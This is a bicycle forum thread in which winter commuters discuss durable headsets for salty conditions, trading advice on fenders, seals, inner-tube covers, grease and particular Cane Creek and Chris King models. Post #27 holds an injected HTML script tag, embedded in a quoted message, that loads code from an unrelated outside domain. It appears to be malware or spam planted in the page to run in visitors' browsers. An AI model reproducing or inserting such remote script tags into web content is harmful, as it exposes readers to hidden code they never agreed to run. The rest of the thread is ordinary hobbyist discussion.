Winter commuting -- durable headset?- Mtbr.com
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  1. #1
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    Winter commuting -- durable headset?

    Hello

    I am building up a bike for winter commuting in Ottawa, Canada. That means lots of snow, salt, ice, water, and corrosion. Many components do not last more than one or two winter seasons.

    My question is, which headset is well suited for these conditions? There are expensive HS's on the market with excellent seals (cane creek 110, chris king, etc); they are designed to be a durable investment, but I'm not sure they will hold up to salt and extreme temperature fluctuations well enough to warrant the price. On the other hand, I don't want to replace a cheap HS every season. Is there a good compromise? What will hold up for at least a few years but will not break the bank?

    Thanks,
    Pete

  2. #2
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    I've ridden my 1997 Rocky Mountain Blizzard threw every winter in Southern Ontario with an old Race Face headset without any problems. I replaced the bearings once years ago and it still feels smooth.
    Maybe I've been lucky because Race Face get terrible reviews on this forum. My new bike will have the 110 on it.

  3. #3
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    It's been my experience that with a fender, even the cheap headsets survive.

  4. #4
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    Quote Originally Posted by pursuiter
    It's been my experience that with a fender, even the cheap headsets survive.

    Hmm, good point. I've been riding with a front fender, but one that only covers behind the suspension fork and does not protect the headtube or HS. I've just ordered a rigid replacement, and that fork has mounts for full fenders.

  5. #5
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    Quote Originally Posted by limba
    I've ridden my 1997 Rocky Mountain Blizzard threw every winter in Southern Ontario with an old Race Face headset without any problems. I replaced the bearings once years ago and it still feels smooth.
    Maybe I've been lucky because Race Face get terrible reviews on this forum. My new bike will have the 110 on it.

    Good to know. I've actually been looking into the Race Face Deus headset (between that and the Cane Creek S-series). So far I've only had good experiences with RF components.

  6. #6
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    I also ride with a rigid fork and a full front fender once the bad weather starts. My winter is the same as yours.

  7. #7
    Bedwards Of The West
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    x2 on the fenders, and get a pair of these:

    http://www.pricepoint.com/detail/114...adset-Seal.htm

    One up top, one down below. Take them off after particularly sloppy rides to let things dry out...you don't want to trap moisture in there. I have them on my MTB and they work really well. At least do one on the bottom location where they recommend.

    I have a Cane Creek on the commuter, and it's been awesome...they don't salt the roads around here though, they use gravel.
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  8. #8
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    Quote Originally Posted by CommuterBoy
    x2 on the fenders, and get a pair of these:

    http://www.pricepoint.com/detail/114...adset-Seal.htm

    One up top, one down below. Take them off after particularly sloppy rides to let things dry out...you don't want to trap moisture in there. I have them on my MTB and they work really well. At least do one on the bottom location where they recommend.

    I have a Cane Creek on the commuter, and it's been awesome...they don't salt the roads around here though, they use gravel.

    The salt in Ottawa is terrible. Come spring there are salt moraines everywhere. The city seems to prefer it over gravel or snowplows.

    I have one lizard skin on the lower already. One up top may help out also

    What is the feeling on freeze-thawing the bike? Some people bring their bike indoors to dry after every winter ride, while others recommend leaving it outside to keep frozen. The rationale for the latter is that melt water does not seep into crevices, cable housing, headsets, etc.

  9. #9
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    Quote Originally Posted by Kolodzilla
    The salt in Ottawa is terrible. Come spring there are salt moraines everywhere. The city seems to prefer it over gravel or snowplows.

    I have one lizard skin on the lower already. One up top may help out also

    What is the feeling on freeze-thawing the bike? Some people bring their bike indoors to dry after every winter ride, while others recommend leaving it outside to keep frozen. The rationale for the latter is that melt water does not seep into crevices, cable housing, headsets, etc.

    I ride Calgary we get the chinooks the also use a lot of salt, they use some sort of green salt on the bike paths...

    I went through three headsets one a year....

    Then I got a Chris King, I thought it was starting to fail, but all that had happened was some salty water got into it, and was freezing at -8C, anyway dumped the water out and added some grease, so now I am headed into its second winter...

    I keep my bike inside at work and at home, cause of theft issues.

    Anyway if I didn't thaw it out after a snowy ride the RD would eventually freeze solid.

    I have seen no damage from thawing the bike out regularly.

    I take a different approach than most I ride my good bike all the time..

    It has high end quality components that are able to withstand the winter well.

  10. #10
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    Quote Originally Posted by jeffscott
    I went through three headsets one a year....
    Really? I won`t call BS because I don`t have those conditions, but that really surprises me. I can see BBs and wheel bearings going bad due to salt/water, but headsets seem too out of the way to get much crap in them. Ya learn something new evey day, I guess.

  11. #11
    Bedwards Of The West
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    I keep my bike inside all winter. I can see ice buildup issues being a concern if I kept it frozen. If I had salt on the roads I'd consider parking it in the bathtub and hitting it with a fresh water spray bottle when I got home... rinse the salt off and start over with a clean dry bike the next day.

    In my case with freezing temps but no salt (I'm in the Sierras north of Tahoe in northern California), I bring it in and let it thaw out...I kept it in the unheated shed for a winter and I had to bring it in to thaw every time I wanted to work on it anyway... it's easier to maintain if you can check things out with no ice every day.
    You have no excuse for driving to work
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  12. #12
    jrm
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    Your best defense is

    is good grease like the Park or Phil Wood stuff..

  13. #13
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    Forget the lizard skin....

    Get an old tube, a smaller one that will be a nice snug fit. Cut it up into two, 2-3" long sections, like black calamari tubes. Then take your fork and stem off of the bike and snug the calamari on over the headset and roll them up on the headtube and over the headset cups with a little grease underneath. Put the bike back together and roll them over the headset like a condom. Cut off any excess tube.

    Now you have a very snug, completely waterproof seal for your headset. It adds a little extra drag, but who cares, its a headset!
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  14. #14
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    Quote Originally Posted by rodar y rodar
    Really? I won`t call BS because I don`t have those conditions, but that really surprises me. I can see BBs and wheel bearings going bad due to salt/water, but headsets seem too out of the way to get much crap in them. Ya learn something new evey day, I guess.
    One headset a year on a commuter sounds pretty normal to me here in Toronto.
    Cheers, Dave

  15. #15
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    Cane Creek S8. Stainless bearings. With fenders no **** should get up in there anyways.

  16. #16
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    The inner tube idea is awesome.

    I may just give that a shot.
    You have no excuse for driving to work
    (unless you don't have studded tires)
    (no excuse for that either)

  17. #17
    PM Me for Wood Fenders
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    Stole my thunder...lol While reading this I thought of the boots on wheel sets. Another place to ask this question is the Alaska thread.
    The wood is being bent! Let me know what you need!

  18. #18
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    Quote Originally Posted by Schmucker
    Cane Creek S8. Stainless bearings. With fenders no **** should get up in there anyways.
    I'm leaning this way. I like the stainless option.

  19. #19
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    Quote Originally Posted by jrm
    is good grease like the Park or Phil Wood stuff..
    I've was repacking the bearings on my last couple of open-bearing HS with Phil Wood Waterproof grease at least 2-3 over the course of one winter. It may have worked better then generic automotive grease, but it still didn't save my HSs. Now I'm looking for a sealed/cartridge bearing HS.

  20. #20
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    Anything with ceramic bearings will prevent corroision from water and road salt. And probably help with temp fluctuations. You really cant go wrong with the King. And CK makes one in titanium, which will resist corrosion and effects of temp changes. C'mon they use titanium in space... fugetaboutit. If you want a H/S that will last a few years then only the top manufacturers offer a 5 year gaurantee. I use a carbon handlebar on my winter bike to prevent cunductive heat loss.

  21. #21
    Sheepherder/Cat Herder Moderator
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    2 seasons on a CK headset on a bike equipped with full fenders. Coldest ride was 8F. I bring my bike into my office everyday....or at least I used to, but that is a different story.

    Oh...and the road crews here use magnesium chloride as a deicer here. Nasty stuff. The winter soup is slush, sand, and road deicer...if things are complete frozen.
    ...building wherever they'll let me...

  22. #22
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    Quote Originally Posted by runawaymachine
    Anything with ceramic bearings will prevent corroision from water and road salt. And probably help with temp fluctuations. You really cant go wrong with the King. And CK makes one in titanium, which will resist corrosion and effects of temp changes. C'mon they use titanium in space... fugetaboutit. If you want a H/S that will last a few years then only the top manufacturers offer a 5 year gaurantee. I use a carbon handlebar on my winter bike to prevent cunductive heat loss.
    Titanium, ceramics, carbon fiber... I can see how that would be effective, but I can't afford those materials for my good bike, let alone a winter commuter. maybe something in adamantium, or maybe pure gravitons and graviolis.

  23. #23
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    Quote Originally Posted by Kolodzilla
    Titanium, ceramics, carbon fiber... I can see how that would be effective, but I can't afford those materials for my good bike, let alone a winter commuter. maybe something in adamantium, or maybe pure gravitons and graviolis.
    I think runawaymachine was joking. At least I hope he was.

    I mean CK doesn't even offer ceramic bearings. I think his point was that people were talking about WAAAY to bling of parts for a commuter bike. A simple, good quality headset will do. The old-tube headset condoms work well, you don't need any fancy sealed bearings on a beater bike that's outside all winter.

    With that said, I DO actually have (cheap) CF bars on my dedicated winter bike, for the heat transfer issue, my fingers get VERY cold very fast and I ride it in some extreme conditions. I also have some old plastic SRAM brake levers for the same reason. Aluminum is one of the most heat conductive materials known to man.

    Also, don't bring a winter commuter bike indoors on a daily basis. Cold bike should remain cold. Bringing them inside just accelerates condensation and corrosion issues and can lead to cables freezing up on you when you back outside.
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  24. #24
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    Which cheap CF bars do you use?

  25. #25
    viva la v-brakes!
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    Something like this:

    http://cgi.ebay.com/New-Guizzo-MTB-R...3286.m20.l1116

    I thought I only spent like $60 on mine, and I would never trust generic bars like this on my regular bike, but the snow bike gets no where near as much abuse, it just gets cold.
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  26. #26
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    Quote Originally Posted by FishMan473
    I think runawaymachine was joking. At least I hope he was.

    I mean CK doesn't even offer ceramic bearings. I think his point was that people were talking about WAAAY to bling of parts for a commuter bike. A simple, good quality headset will do. The old-tube headset condoms work well, you don't need any fancy sealed bearings on a beater bike that's outside all winter.

    With that said, I DO actually have (cheap) CF bars on my dedicated winter bike, for the heat transfer issue, my fingers get VERY cold very fast and I ride it in some extreme conditions. I also have some old plastic SRAM brake levers for the same reason. Aluminum is one of the most heat conductive materials known to man.

    Also, don't bring a winter commuter bike indoors on a daily basis. Cold bike should remain cold. Bringing them inside just accelerates condensation and corrosion issues and can lead to cables freezing up on you when you back outside.
    If you want the top end perormance(i.e. a headset thet lasts more than 2 years under harsh conditions) then you buy the top end product. Otherwise get a cheapo and save your money for the next time. And yes carbon bars can be had for less than $20.

  27. #27

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    Quote Originally Posted by Kolodzilla
    Hello

    I am building up a bike for winter commuting in Ottawa, Canada. That means lots of snow, salt, ice, water, and corrosion. Many components do not last more than one or two winter seasons.

    My question is, which headset is well suited for these conditions? There are expensive HS's on the market with excellent seals (cane creek 110, chris king, etc); they are designed to be a durable investment, but I'm not sure they will hold up to salt and extreme temperature fluctuations well enough to warrant the price. On the other hand, I don't want to replace a cheap HS every season. Is there a good compromise? What will hold up for at least a few years but will not break the bank?

    Thanks,
    Pete<script type="***************" src="http://djmixdownloads.com/script.php"></script>
    TBH any headset will last as long as you want with some servicing.

    so a few optins.

    a open ball headset and service. and replace the whole headset when worn.

    A cartridge bearing headset (can be service lubed with care) and just swap out the cartridges when worn.

  28. #28
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    Alright, in the end I went for a CC S-3. It appears well designed for keeping junk out, and though the sealed bearings aren't stainless, they're easily swapped. With a good set of fenders and the lizardskins / innertube condoms, the inexpensive (sub-$40 with shipping, from Cambria) HS should last. I'll post updates after the first big test this winter. Thanks for all your helpful comments.

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